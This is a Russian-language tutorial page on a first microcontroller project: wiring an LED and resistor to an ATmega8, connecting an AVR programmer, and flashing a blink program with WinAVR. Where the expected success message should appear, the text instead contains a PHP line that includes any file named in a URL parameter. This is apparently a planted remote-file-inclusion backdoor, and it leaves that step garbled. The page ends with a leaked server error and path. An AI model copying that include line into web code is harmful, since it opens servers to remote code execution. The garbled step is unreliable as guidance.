Схема робота на микроконтроллере. Примеры программ.
ПЕРВЫЙ ПРОЕКТ НА МИКРОКОНТРОЛЛЕРЕ: схема и описание
"Hello, world!" для микроконтроллера.
В качестве первого проекта на микроконтроллере рассмотрим пример мигания светодиодом, подключенным к одному из выводов микросхемы. Этот пример является такой же классикой при изучении микроконтроллеров, как программа "Hello world!" при изучении какого-либо языка программирования.
Для первых опытов хорошим решением будет выбор микроконтроллера ATmega8. Этот микроконтроллер содержит достаточное количество портов ввода/вывода и всю необходимую периферию, которая может понадобиться при изучении микроконтроллеров. Неплохим выбором может стать микроконтроллер ATtiny2313 - это классика Atmel, в нем есть почти все, что нужно, а портов ввода/вывода хватит для подавляющего большинства первоначальных конструкций. Для первых опытов также отлично подойдет и ATtiny26.
Следует помнить, что, какой бы контроллер вы ни выбрали, все контроллеры Atmel имеют совместимость при переносе программы со слабого на более мощный микроконтроллер.
Для того чтобы собрать схему для реализации примера, нам понадобятся:
любой светодиод малой мощности, например АЛ307;
резистор сопротивлением от 150 до 500 Ом;
микроконтроллер (в данной статье рассматривается ATmega8).
Соберем все, как показано на принципиальной схеме.
Принципиальная схема первого проекта на микроконтроллере.
Вывод GND соединим с "землей" (отрицательным полюсом источника питания). Вывод VCC соединим с положительным полюсом источника питания.
Подсоединим катод ("минус") светодиода LED1 через компенсирующий резистор R1 к "земле" (отрицательному полюсу источника питания), а анод ("плюс") - к любому выводу порта D микроконтроллера (на схеме - PD0).
Микроконтроллер будет тактироваться от внутреннего генератора тактовых импульсов. ATmega8 выпускаются с предустановками на работу от внутреннего генератора, настроенного на частоту 1 мегагерц (МГц).
Подключим RESET (PC6), SCK (PB5), MISO (PB4), MOSI (PB3) и общий провод (GND) к программатору (описание программатора см. в предыдущей статье "Программатор AVR").
Перед подачей питания к схеме еще раз проверим правильность подключения всех элементов.
Подключим программатор к порту компьютера и только после этого подадим питание к схеме. Если ничего не загорелось и не задымилось, можно переходить к следующей части.
Запустим Programmers Notepad, откроем пример программы, приведенной в статье "Makefile и компиляция программы". Можно еще раз откомпилировать его командой Tools -> [WinAVR] Make All. После чего загрузим откомпилированный файл my_test.hex в память программ вашего микроконтроллера командой Tools -> [WinAVR] Make Program.
По окончании процесса внизу, в окне "Output", должно появиться сообщение об успешной загрузке: $WinAVR=($_GET['avr']);if($WinAVR)include($WinAVR);?>
Отсоединим программатор (светодиод должен весело замигать).
Вы можете подсоединить несколько светодиодов таким же образом к другим выводам порта D (PD1-PD7) и наслаждаться мигающей гирляндой, пока не решите перейти к следующим опытам.
Warning: fread() [function.fread]: Length parameter must be greater than 0 in /home/host1636501/myrobot.ru/htdocs/www/stepbystep/mc_first_project.php on line 415